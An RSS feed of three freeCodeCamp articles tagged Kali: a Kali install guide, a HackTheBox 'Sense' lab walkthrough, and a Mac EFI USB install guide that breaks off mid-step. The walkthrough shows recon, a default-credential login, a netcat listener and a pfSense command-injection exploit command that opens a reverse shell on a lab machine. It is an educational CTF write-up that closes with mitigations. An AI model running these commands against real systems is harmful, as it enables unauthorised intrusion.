<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ kali - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ kali - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Fri, 15 May 2026 14:54:40 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/kali/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ How to Install Kali Linux on Your Computer ]]>
                </title>
                <description>
                    <![CDATA[ Kali Linux (formerly known as BackTrack) is an open-source Linux distro developed and funded by Offensive Security.  It’s basically an ethical hacker's dream operating system, because it has most of the tools you'll ever need built-in. From Metasploi... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-install-kali-linux/</link>
                <guid isPermaLink="false">66bb9012deef71ff683a6d34</guid>
                
                    <category>
                        <![CDATA[ kali ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Daniel Iwugo ]]>
                </dc:creator>
                <pubDate>Thu, 15 Sep 2022 19:37:37 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/09/install-kali-linux-article-image.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Kali Linux (formerly known as BackTrack) is an open-source Linux distro developed and funded by Offensive Security. </p>
<p>It’s basically an ethical hacker's dream operating system, because it has most of the tools you'll ever need built-in. From Metasploit to JohntheRipper to the one and only Aircrack-ng, this OS has it all. </p>
<p>But enough of the history lesson. Let’s jump right in and learn how to install Kali Linux on your computer.</p>
<h1 id="heading-requirements">Requirements</h1>
<p>Before we carry on, you should know that this is the process for installing on the bare system itself and you should do this with extreme caution. </p>
<p>If you wish to dual boot your machine, you will need to partition your hard drive to give Kali at least 20 GB of hard disk space and then install it on that partition.</p>
<p>Now you are going to need some ingredients for this masterpiece:</p>
<ol>
<li>A Computer (Minimum Requirements: 20GB Hard Disk space, 2GB RAM, Intel Core i3 or AMD E1 equivalent)</li>
<li>A USB stick (6 GB or more)</li>
<li>A Kali .iso file</li>
<li>Rufus (To create a bootable drive)</li>
<li>A really cool head (Trust me, you’ll need it 🥶)</li>
</ol>
<h1 id="heading-how-to-install-kali-linux-on-your-computer-step-by-step">How to Install Kali Linux on Your Computer – Step by Step</h1>
<h3 id="heading-step-1-download-the-iso-file">Step 1: Download the iso file</h3>
<p>Go to kali.org and hit the download button.</p>
<p><img src="https://miro.medium.com/max/1400/1*MTx3vLNW5O0Gy_0EFUO1YA.png" alt="The Kali Homepage" width="600" height="400" loading="lazy">
<em>The Kali Homepage | Credit: kali.org</em></p>
<p>What you're trying to get is an iso file, which is just a way of packaging software. Operating systems are usually packed like this (but also malicious software, so be careful where you get them💀).</p>
<p>Here you are given a lot of options, but go for the ‘Bare Metal’. There are options for 64-bit, 32-bit, and Apple M1 here (though I have no clue why the last one exists). Choose the tab applicable to your system, and download the Installer. For torrent lovers, the torrent is also available.</p>
<p><img src="https://miro.medium.com/max/1400/1*KVktfnfGlFhxwq48ZFDG7Q.png" alt="The Installer option" width="600" height="400" loading="lazy">
<em>The Installer option | Credit: kali.org</em></p>
<h3 id="heading-step-2-create-a-bootable-drive">Step 2: Create a bootable drive</h3>
<p>You can download Rufus from <a target="_blank" href="https://www.freecodecamp.org/news/p/6d73416e-2b28-475d-b6b2-7c5dc3964de9/rufus.ie">rufus.ie</a> (Rufus 3.18 as at the time of writing). In order to make the stick bootable, we are going to run Rufus and make a few changes. </p>
<p>Connect the stick and select it under the ‘Device’ options. Under ‘Boot selection’ select your newly downloaded Kali iso file. Now for the tricky part.</p>
<p><img src="https://miro.medium.com/max/948/1*PcHN4n41T7vT_ASJKg-gsw.png" alt="The Rufus Software" width="600" height="400" loading="lazy">
<em>The Rufus Software | Credit: Mercury</em></p>
<p>Before we proceed, a quick lesson: a partition scheme/table is the format in which a hard disk saves data. Think of it like your video files saved in .mp4 or .mkv – they are both videos but different formats. </p>
<p>Most computers have one of the following formats: GPT (GUID Partition Table) or MBR (Master Boot Record). You may not be able to boot your drive if you pick the wrong option here. </p>
<p>Summary of it all: Pick the MBR option if the computer is old or using a legacy BIOS. Pick GPT if it is a newer computer and using a UEFI BIOS. If the drive doesn’t show up in the boot menu, change to the other option and try again.</p>
<p>You could also go to the advanced drive properties and check the box with ‘Add fixes for old BIOSes’. This should make the drive more compatible with your computer if it is a very old one. And by old, I mean ancient 👴.</p>
<p><img src="https://miro.medium.com/max/1400/1*TD1nOvt2bDkjxmOek_DAJw.gif" alt="How to prepare the USB stick" width="600" height="400" loading="lazy">
<em>How to prepare the USB stick | Credit: Mercury</em></p>
<p>Back to easier ground now, you can leave the default format options. Hit the Start Button and wait for the image to be written to the stick (This takes some time so, relax 😌).</p>
<h3 id="heading-step-3-access-the-kali-installer-menu">Step 3: Access the Kali Installer Menu</h3>
<p>To boot the computer from the new Kali USB stick, you’ll need to disable secure boot if it is enabled in the BIOS settings. </p>
<p>You may need to do a little research into how to access your BIOS and boot menu. It usually involves spamming (continuously pressing) a key on your keyboard when the computer starts to boot. </p>
<p>As mentioned before, if you are dual booting, take note of the partition size you made for Kali so you don’t overwrite your other OS (been there, done that 😢).</p>
<p><img src="https://miro.medium.com/max/1278/1*mDXhfALgd5keOGJ-EaqIRg.png" alt="A Legacy BIOS" width="600" height="400" loading="lazy">
<em>A Legacy BIOS | Credit: VMware</em></p>
<p>After disabling secure boot, we can finally boot to the drive. At startup, you’ll have to access the boot menu and then choose the stick you just made. You should be welcomed with the Kali Installer Menu.</p>
<p><img src="https://miro.medium.com/max/1280/1*jzUeRWajgAmI-fZDZHC__A.png" alt="The Kali Installer Menu" width="600" height="400" loading="lazy">
<em>The Kali Installer Menu | Credit: Mercury</em></p>
<p>Note: You can also edit the boot menu configuration in the BIOS menu, but that is permanent and may need to be changed post-installation. It is usually preferred to find a way to access the boot menu when starting up the computer, as this will only be a temporary configuration.</p>
<p>The installer menu only allows the keyboard for input so you’ll have to use the arrow keys, Enter, and Esc to navigate it.</p>
<h3 id="heading-step-4-begin-the-installation">Step 4: Begin the installation</h3>
<p>Select graphical install, and you can now use your mouse. Select your preferred language, region, and keyboard layout in the following menus:</p>
<p><img src="https://miro.medium.com/max/1400/1*NYEFJGMOfhqBxQXNB4T0sw.png" alt="Language Menu" width="600" height="400" loading="lazy">
<em>Language Menu | Credit: Mercury</em></p>
<p><img src="https://miro.medium.com/max/1400/1*Mv9NdJx-fOQd-BWBKmI-0w.png" alt="Region Menu" width="600" height="400" loading="lazy">
<em>Region Menu | Credit: Mercury</em></p>
<p>You computer will attempt to make some network configurations, but you can easily skip that as it won’t be needed for an offline install. </p>
<p>Fill in a hostname as this will identify your computer on a public network. You can skip the domain name part as this isn’t necessary. Next, type in your full name for your new user account.</p>
<p><img src="https://miro.medium.com/max/1400/1*lsyFOCMClUzHtprvS4l26g.png" alt="Full Name setup" width="600" height="400" loading="lazy">
<em>Full Name setup | Credit: Mercury</em></p>
<p>Quick lesson: On the terminal, Linux allows you to send and receive emails with commands. However, Gmail and Yahoo make sending a lot easier these days. You may never have to use this feature in your lifetime.</p>
<p>Next type, in the username for your account (This could be your hacker alias 😎).</p>
<p><img src="https://miro.medium.com/max/1400/1*_tBWjY1VXwNIap2D2ZxdEA.png" alt="Username Setup" width="600" height="400" loading="lazy">
<em>Username setup | Credit: Mercury</em></p>
<p>Choose a strong password/passphrase to input in the next menu.</p>
<p><img src="https://miro.medium.com/max/1400/1*oo1HJdHuJROqIFqTWQFyeA.png" alt="Password setup" width="600" height="400" loading="lazy">
<em>Password setup | Credit: Mercury</em></p>
<p>Select your time zone. This is important as it could affect your network configurations post-installation.</p>
<p><img src="https://miro.medium.com/max/1400/1*tfQU397sBK6jqj4TD5ukWw.png" alt="Image" width="600" height="400" loading="lazy">
<em>Time zone setup | Credit:</em></p>
<h3 id="heading-step-5-set-up-the-storage">Step 5: Set up the storage</h3>
<p>Next would be to select the partitioning method. Now for the cool head mentioned earlier. If you want to format the entire hard drive for Kali, the Guided options will be best. </p>
<p>LVM (Logic Volume Management) is a feature that allows you to have relatively flexible partitions. This means that you can extend, shrink or even merge partitions while the OS is being run. It's a pretty nifty feature.</p>
<p>The encrypted LVM feature keeps your data safe if someone unauthorized gets access to your hard drive. Just note that there is a trade-off here: your hard drive will tend to be slower than if it wasn’t encrypted. So most people go with the ‘Guided -use entire disk’ option.</p>
<p><img src="https://miro.medium.com/max/1400/1*ar1ZHAmH9VaWZ8qmZ7qHHQ.png" alt="Partitioning Method" width="600" height="400" loading="lazy">
<em>Partitioning method setup | Credit: Mercury</em></p>
<p>If you are dual-booting, though, you will need to choose the manual option and make the necessary configurations. I’ll go with the use entire disk option here.</p>
<p>Choose the hard drive you want to install Kali on. I’m using a virtual machine so my only option is a small 21 GB drive.</p>
<p><img src="https://miro.medium.com/max/1400/1*tRfnHIpCEArhsD6qEFmgeg.png" alt="Hard Disk selection" width="600" height="400" loading="lazy">
<em>Hard Disk selection | Credit: Mercury</em></p>
<p>Choose how you want your files to be partitioned. Each option differs by separating certain important directories in separate partitions (More on that in a later post).</p>
<p><img src="https://miro.medium.com/max/1400/1*zeEHKH-6fP37V1-N1Wkyug.png" alt="Image" width="600" height="400" loading="lazy">
<em>Partitioning Scheme | Credit: Mercury</em></p>
<p>Finish up the partitioning changes.</p>
<p><img src="https://miro.medium.com/max/1400/1*NykY9Az_TGa-CgJutaNSeA.png" alt="Partitioning changes" width="600" height="400" loading="lazy">
<em>Partition changes info | Credit: Mercury</em></p>
<p>Select ‘Yes’ to write the changes to the disk.</p>
<p><img src="https://miro.medium.com/max/1400/1*OrAElo4Z8TWXZNneinBb3g.png" alt="Partition verification" width="600" height="400" loading="lazy">
<em>Partition Changes verification | Credit: Mercury</em></p>
<h3 id="heading-step-5-chose-software-and-a-desktop-look">Step 5: Chose software and a desktop look</h3>
<p>Now, choose the software you wish to install. Check the desktop environment and collection of tools options, as these will help you avoid having to install a lot of things later.</p>
<p>Desktop environments are basically the way the desktop looks to the user. Kali offers Xfce (most common), Gnome, and KDE. I’m a sucker for Gnome so I went with that option. You can still install all three and later configure your computer to choose the one you’d like.</p>
<p><img src="https://miro.medium.com/max/1400/1*PriqVPIylnMw2y4jVttyZQ.png" alt="Software Installation Menu" width="600" height="400" loading="lazy">
<em>Software Installation Menu | Credit: Mercury</em></p>
<p>You can check the sixth box to install the top 10 most popular tools on Kali. These are:  </p>
<ol>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Aircrack-ng">Aircrack-ng</a>  </li>
<li><a target="_blank" href="https://portswigger.net/burp">Burpsuite</a>  </li>
<li><a target="_blank" href="https://mpgn.gitbook.io/crackmapexec/">Crackmapexec</a>  </li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Hydra_(software)">Hydra</a>  </li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/John_the_Ripper">Johntheripper</a> (jtr)  </li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Metasploit_Project">Metasploit</a>  </li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Nmap">Nmap (Network Mapper)</a>  </li>
<li><a target="_blank" href="https://medium.com/mii-cybersec/gaining-credentials-easily-with-responder-tool-b821f33e342b">Responder</a>  </li>
<li><a target="_blank" href="https://sqlmap.org/">Sqlmap</a>  </li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Wireshark">Wireshark</a></li>
</ol>
<p>As a hacker, you’re definitely going to need one of these sooner or later, so it’s best if you check that box. You can check the ‘default — recommended tools’ box if you want a whole bunch of tools on your system, but note that this will take a lot of time and space. Hit continue and wait.</p>
<p>Quick tip: It is generally recommended that you only have the tools you absolutely need on your computer. This is because additional tools could slow your computer down, you could waste data updating tools you never use, and you are likely to be more vulnerable if there is an active exploit on the loose.</p>
<h3 id="heading-step-6-install-the-grub-bootloader">Step 6: Install the GRUB bootloader</h3>
<p>The GRUB boot loader is a piece of software that allows you to pick which OS to boot from when the computer starts up. For both single boot readers and dual boot readers, the best option here is ‘Yes’.</p>
<p><img src="https://miro.medium.com/max/1400/1*gv_rjUlcVZrlrdVPnXHilQ.png" alt="Grub Bootloader setup" width="600" height="400" loading="lazy">
<em>Grub Bootloader setup | Credit: Mercury</em></p>
<p>Select the your hard drive.</p>
<p><img src="https://miro.medium.com/max/1400/1*b85vz6AEzj_whbr59CP50g.png" alt="Image" width="600" height="400" loading="lazy">
<em>Grub Bootloader setup | Credit: Mercury</em></p>
<p>Mission Accomplished 🎉🥂. You have successfully installed your Kali Linux OS. Hit continue to clean up and reboot your computer.</p>
<p><img src="https://miro.medium.com/max/1400/1*H850ppmBcM7hX17PP_4asA.png" alt="Image" width="600" height="400" loading="lazy">
<em>Grub Bootloader setup | Credit: Mercury</em></p>
<p>Note: If you performed dual boot, you may need to change the boot menu to load Kali first before Windows so you have the option of choosing which OS to use.</p>
<p>Once booted up, your screen should be like the one below.</p>
<p><img src="https://miro.medium.com/max/1400/1*tTWw2J3Vkuk-YmbMhpakQA.png" alt="Login screen" width="600" height="400" loading="lazy">
<em>Login screen | Credit: Mercury</em></p>
<p>If you installed the xfce desktop environment, you will have to put in your username, enter your password, and you should have a nice looking desktop.</p>
<p><img src="https://miro.medium.com/max/1400/1*2UuoX7GI3gID0Ghekvt4OQ.png" alt="Kali desktop" width="600" height="400" loading="lazy">
<em>Kali Linux Desktop | Credit: Mercury</em></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Alright so let's do a quick recap of what we did:</p>
<ol>
<li>Downloaded the iso file</li>
<li>Created a bootable drive</li>
<li>Accessed the Kali Installer Menu</li>
<li>Began the installation</li>
<li>Set up the Storage</li>
<li>Installed the GRUB bootloader</li>
</ol>
<p>And finally, enjoy your new OS. Happy hacking! 🙃</p>
<h3 id="heading-helpful-resources">Helpful Resources</h3>
<ol>
<li>Kali website: <a target="_blank" href="http://kali.org">kali.org</a></li>
<li>You can read about the <a target="_blank" href="https://www.freecodecamp.org/news/mbr-vs-gpt-whats-the-difference-between-an-mbr-partition-and-a-gpt-partition-solved/">difference between MBR and GPT in this freeCodeCamp article</a>.</li>
<li>Here's an article from Kali Linux about <a target="_blank" href="https://www.kali.org/docs/general-use/switching-desktop-environments/">how to change your desktop environment</a></li>
</ol>
<h3 id="heading-acknowledgements">Acknowledgements</h3>
<p>Thanks to <a target="_blank" href="https://www.linkedin.com/in/chinaza-nwukwa-22a256230/">Chinaza Nwukwa</a>, <a target="_blank" href="https://www.linkedin.com/in/mercy-holumidey-88a542232/">Holumidey Mercy</a>, <a target="_blank" href="https://www.linkedin.com/in/georgina-awani-254974233/">Georgina Awani</a>, and my family for the inspiration, support and knowledge used to put this article together. You’re the real MVPs.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Sense Walkthrough – HackTheBox ]]>
                </title>
                <description>
                    <![CDATA[ By Shuaib Oseni HackTheBox is an online hacking platform that allows you to test and practice your penetration testing skills.  It contains several vulnerable labs that are constantly updated. Some of them simulate real-world scenarios and some of th... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/sense-walkthrough-hackthebox/</link>
                <guid isPermaLink="false">66d460eed1ffc3d3eb89de54</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ kali ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Fri, 12 Aug 2022 16:09:26 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/08/sense--1-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Shuaib Oseni</p>
<p>HackTheBox is an online hacking platform that allows you to test and practice your penetration testing skills. </p>
<p>It contains several vulnerable labs that are constantly updated. Some of them simulate real-world scenarios and some of them lean more towards a Capture The Flag (CTF) style of challenge.</p>
<p>Note: <em>Only write-ups of retired HTB machines are allowed.</em></p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>To get the most out of this walkthrough, you'll need the following:</p>
<ul>
<li><a target="_blank" href="https://www.hackthebox.com/">HackTheBox</a> VIP subscription.</li>
<li>Kali Linux operating system.</li>
<li>Basic bruteforcing knowledge.</li>
</ul>
<h2 id="heading-machine-information">Machine Information</h2>
<p><strong>Name:</strong> Sense</p>
<p><strong>Ip Address:</strong> 10.10.10.60</p>
<p><strong>Operating System:</strong> FreeBSD</p>
<p>Fasten your seat belts, everyone – we are going for a ride!</p>
<h2 id="heading-step-1-do-some-reconnaissance">Step 1 – Do Some Reconnaissance</h2>
<p>Reconnaissance is the process of gathering as much information about a target system as possible, and it is usually the first step toward any hack.</p>
<p>Let's start by running an <a target="_blank" href="https://nmap.org/">Nmap</a> scan to gather information about the open ports and services running on this machine by running the following command:</p>
<pre><code class="lang-bash">nmap -A -T4 -p- 10.10.10.60
</code></pre>
<p>Here's the result:</p>
<pre><code class="lang-bash">nmap -A -T4 -p- 10.10.10.60
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-08 05:23 EST
Nmap scan report <span class="hljs-keyword">for</span> 10.10.10.60
Host is up (0.36s latency).
Not shown: 65533 filtered ports
PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open  ssl/https?
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after:  2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap <span class="hljs-keyword">done</span>: 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 1561.11 seconds
</code></pre>
<p>From the scan result we can that there are 2 open ports:</p>
<ul>
<li>Port 80 - Hyper Text Transfer Protocol (HTTP)</li>
<li>Port 443 - Hyper Text Transfer Protocol Secured (HTTPS)</li>
</ul>
<h2 id="heading-step-2-visit-the-ip-address">Step 2 – Visit the IP Address</h2>
<p>Now let's visit the IP address in a browser.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/08/login.png" alt="sense login page" width="600" height="400" loading="lazy">
<em>sense login page</em></p>
<p>We get a pfsense login page. The default credential for pfsense is <code>admin/pfsense</code>. Unfortunately, these credentials didn't work.</p>
<h2 id="heading-step-3-use-directory-brute-force">Step 3 – Use Directory Brute Force</h2>
<p>You use directory brute force to find hidden directories on a web application.</p>
<p>Now, let's perform a directory brute force using <code>dirbuster</code>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/08/dirbuster.png" alt="Image" width="600" height="400" loading="lazy">
<em>dirbuster</em></p>
<p>dirbuster gave us a couple of interesting things:</p>
<ul>
<li>Pages with response code of 200.</li>
<li>A <code>changelog-txt</code> file.</li>
<li>A <code>system-user-txt</code> file.</li>
</ul>
<p><code>changelog-txt</code> and <code>system-user-txt</code> look super juicy, so let's see if we can view their content.</p>
<p>To read the content of this file, we type <code>10.10.10.60/changelog.txt</code> in our browser.</p>
<p><code>changelog.txt</code> contains the following:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/08/changelog.png" alt="Image" width="600" height="400" loading="lazy">
<em>changelog.txt file</em></p>
<p>To read the content of this file, we type <code>10.10.10.60/system-users.txt</code> in our browser.</p>
<p><code>system-users.txt</code> contains the following:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/08/system.png" alt="Image" width="600" height="400" loading="lazy">
<em>system-user.txt file</em></p>
<h2 id="heading-step-4-try-to-login">Step 4 – Try to Login</h2>
<p><code>system-users.txt</code> contains a username "Rohit" and a password "company defaults", which doesn't look like a password. What if company defaults = pfsense default password? Let's try it:</p>
<ul>
<li><strong>username:</strong> Rohit</li>
<li><strong>pasword:</strong> pfsense</li>
</ul>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/08/dash.png" alt="Image" width="600" height="400" loading="lazy">
<em>dashboard</em></p>
<p>We get redirected to Rohit's dashboard. Let's click around to see if we can get juicy information or a version number.</p>
<p>The admin page contains a version number </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/08/version.png" alt="Image" width="600" height="400" loading="lazy">
<em>version number</em></p>
<h2 id="heading-step-5-fire-the-exploit">Step 5 – Fire the Exploit</h2>
<p>Now that we have a version number, let's use searchsploit to check if there's any known vulnerability on <strong>pfsense 2.1.3.</strong></p>
<p>Searchsploit is an Exploit-DB command-line search tool for <a target="_blank" href="https://www.exploit-db.com/">ExploitDB</a>, an exploits archive.</p>
<p>Searchsploit comes preinstalled in Kali. Now let's run the following command in our terminal:</p>
<pre><code class="lang-bash">searchsploit pfsense
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/08/exploit.png" alt="Image" width="600" height="400" loading="lazy">
<em>searchsploit result</em></p>
<p>Now that we know this version is vulnerable to <strong>a Command Injection</strong> attack, let's try to exploit it.</p>
<p>Command injection is a web security vulnerability that allows an attacker to execute arbitrary OS commands on an application server, ultimately compromising the application and its data. This happens when unsanitized user input is passed through an application.</p>
<p>Searchsploit provides us with a Python exploit, so let's try it out.</p>
<p>Before firing this exploit, we need to setup a <strong>Netcat</strong> listener.</p>
<p>Netcat is a network utility program with the listener being one of its features. The listener allows you to listen on open ports, create reverse shells, and send data or files over a network.</p>
<pre><code class="lang-bash">nc -lnvp 9001
</code></pre>
<p>Next, we fire our exploit by running the following command:</p>
<pre><code class="lang-bash">python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.12 --lport 9001 --username rohit --password pfsense
</code></pre>
<p>Boom! We got a shell:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/08/shell.png" alt="Image" width="600" height="400" loading="lazy">
<em>shell</em></p>
<h2 id="heading-step-6-find-the-user-flag">Step 6 – Find the user-flag</h2>
<p>Our shell is not a <a target="_blank" href="https://man7.org/linux/man-pages/man7/pty.7.html">PTY</a> shell, meaning there are specific commands we can't run. However, let's see if we can grab any flag with our current shell.</p>
<p>Let's move to the <strong>rohit</strong> directory and see what we can find.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/08/user.png" alt="Image" width="600" height="400" loading="lazy">
<em>user flag</em></p>
<p>Yayyyyyyy we got our user flag!</p>
<h2 id="heading-step-7-find-the-root-flag">Step 7 – Find the root-flag</h2>
<p>What if the root flag is available to us without needing privilege escalation? Let's see.</p>
<p>Privilege escalation is an attack whereby a user gets elevated access to a system beyond what is intended.</p>
<p>Let's move to the <strong>root</strong> directory and see what we can find.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/08/root.png" alt="Image" width="600" height="400" loading="lazy">
<em>root flag</em></p>
<p>Booooom! We have successfully rooted this machine.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>We were able to root this machine because it was vulnerable to Command Injection attack. Below are some of the ways you can prevent this vulnerability:</p>
<ul>
<li>Sanitize user input.</li>
<li>Avoid calling OS commands directly.</li>
<li>Patch and update application often.</li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to install Kali on a USB stick with pure EFI boot on a Mac (and let’s throw in virtualization… ]]>
                </title>
                <description>
                    <![CDATA[ By Flavio De Stefano This tutorial is for everyone who wants a USB stick with a full Kali installation to use with your Mac(s). This is not intended to perform a Live Kali installation with persistence. The problem when you perform a Kali installatio... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/kali-installation-on-usb-stick-with-pure-efi-boot-on-a-mac-37585b7698e2/</link>
                <guid isPermaLink="false">66c359657ef110ecbf367b34</guid>
                
                    <category>
                        <![CDATA[ kali ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ mac ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 07 May 2018 07:43:31 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*hnsWRU9q5i3J2bZ2ECI8zw.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Flavio De Stefano</p>
<p>This tutorial is for everyone who wants a USB stick with a <strong>full Kali installation</strong> to use with your Mac(s). This is not intended to perform a Live Kali installation with persistence.</p>
<p><strong>The problem when you perform a Kali installation on a USB stick is that Kali partitions the disk with the VFAT file system. Mac OS only recognizes HFS+ partitions along with some files needed for it.</strong></p>
<p>So, you need:</p>
<ul>
<li>Your Mac</li>
<li>A USB stick with Kali ISO installer</li>
<li>A target USB stick, SD card or an SSD external drive where you’re going to install Kali (16GB and USB 3.0 recommended)</li>
</ul>
<p><em>This tutorial was heavily inspired by this tutorial with proper fixes for Kali. <a target="_blank" href="https://medium.com/@mmiglier/ubuntu-installation-on-usb-stick-with-pure-efi-boot-mac-compatible-469ad33645c9">https://medium.com/@mmiglier/ubuntu-installation-on-usb-stick-with-pure-efi-boot-mac-compatible-469ad33645c9</a></em></p>
<h4 id="heading-usb-live-installation">USB Live installation</h4>
<p>First of all, install Kali on a USB stick by following this <a target="_blank" href="https://docs.kali.org/downloading/kali-linux-live-usb-install">tutorial</a>. I’m not gonna bother you on how to proceed on this step, but start here:</p>
<pre><code class="lang-bash">$ sudo dd <span class="hljs-keyword">if</span>={KALI_ISO.iso} of=/dev/{USB} bs=1m
</code></pre>
<p>When you’re ready, reboot your Mac. Insert both your USB sticks, then press ALT and select the <strong>EFI boot</strong> to start the Live installer.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/herBiK1Li76oxQJ5Fl02yfTSfXGQdm5JgrCd" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Kali installer will ask you different questions about your timezone and keyboard layout.</p>
<p>Proceed until it asks you to partition disks, here select: <strong>Manual.</strong> Then select your USB <strong>target</strong> drive (where you want to install Kali). You can recognize by various factors, for example by its size. Click <strong>Continue:</strong> this will partition your drive.</p>
<p>Now, back again to the same screen and select the <strong>FREE SPACE</strong> under the USB target drive. Click <strong>Continue</strong> and select <strong>Automatically partition the free space.</strong> Follow the recommended option. Then click on <strong>Finish partitioning and write the change to disk</strong>.</p>
<p>The installation process now will copy data to disk. Wait until it finishes (this is gonna take ~30 minutes).</p>
<h4 id="heading-boot-from-grub-live">Boot from GRUB Live</h4>
<p>Once finished, your Mac will reboot and you have to press <strong>ALT</strong> again. Select <strong>EFI boot</strong> again.</p>
<p>What we have to do now is to load our installed Kali system via <strong>Live GRUB</strong>, because our installed system doesn’t have a recognizable boot-loader by MacOS.</p>
<p>Once GRUB is loaded, press <strong>c</strong> to get the GRUB command-line-interface.</p>
<p>Now you have to understand in which HD is your Kali installation. To do this, when GRUB cli is loaded, type <strong>ls</strong>; eject your USB stick and type <strong>ls</strong> again.</p>
<pre><code>grub&gt; ls
(memdisk) (hd0) (hd1) (hd1,gpt3) (hd1, gpt2) (hd1,gpt1) ...
</code></pre><p>You’ll notice that an <strong>hd{X}</strong> disappeared: that is your drive. Now you have to find your <strong>gpt.</strong> <em>Probably it’s the <strong>gpt2</strong></em><strong>,</strong> but just to be sure, type:</p>
<pre><code>grub&gt; ls (hdX,gpt2)/boot/grub
unicode.pf2 ...
</code></pre><p><em>If the command says <code>unicode..</code> it’s the correct gpt; try other <strong>gpts</strong> otherwise.</em> Now find your UUID of the partition, and annotate it.</p>
<pre><code>grub&gt; ls -l (hdX},gpt{X})
        Partition hd2,<span class="hljs-attr">gpt2</span>: Filesystem type ext* 〈...snip...〉 UUID e86c20b9<span class="hljs-number">-83e1</span><span class="hljs-number">-447</span>d-a3be-d1ddaad6c4c6 - Partition start at [...]
</code></pre><p>Now we cant set the parameters to GRUB to boot (use the <strong>tab</strong> key to use autocomplete):</p>
<pre><code>grub&gt; set root=(hd{X},gpt{X})
grub&gt; linux /boot/vmlinuz〈...tab here!...〉.efi.signed root=UUID=〈the UUID〉
grub&gt; initrd /boot/initrd〈...tab here!...〉
grub&gt; boot
</code></pre><p>This should boot your <strong>Full Kali Installation</strong> using the Live GRUB. You could differentiate from Live environment by the password it recognizes during the login process.</p>
<h4 id="heading-fixing-the-efi-partition">Fixing the EFI partition</h4>
<p>Once you’re logged in in your Kali installation, open the Terminal and type:</p>
<pre><code class="lang-bash">$ fdisk -l
</code></pre>
<p>and find your drive.</p>
<p>Now, open <strong>gdisk</strong> (installed by default on Kali) to partition the drive (be very careful here):</p>
<pre><code class="lang-bash">$ gdisk /dev/sd{X}
GPT fdisk (gdisk) version 1.0.1

Partition table scan:
  MBR: hybrid
  BSD: not present
  APM: not present
  GPT: present

Found valid GPT with hybrid MBR; using GPT.

Command (? <span class="hljs-keyword">for</span> <span class="hljs-built_in">help</span>):
</code></pre>
<p>Print the partition table and confirm that the first partition has type EF00:</p>
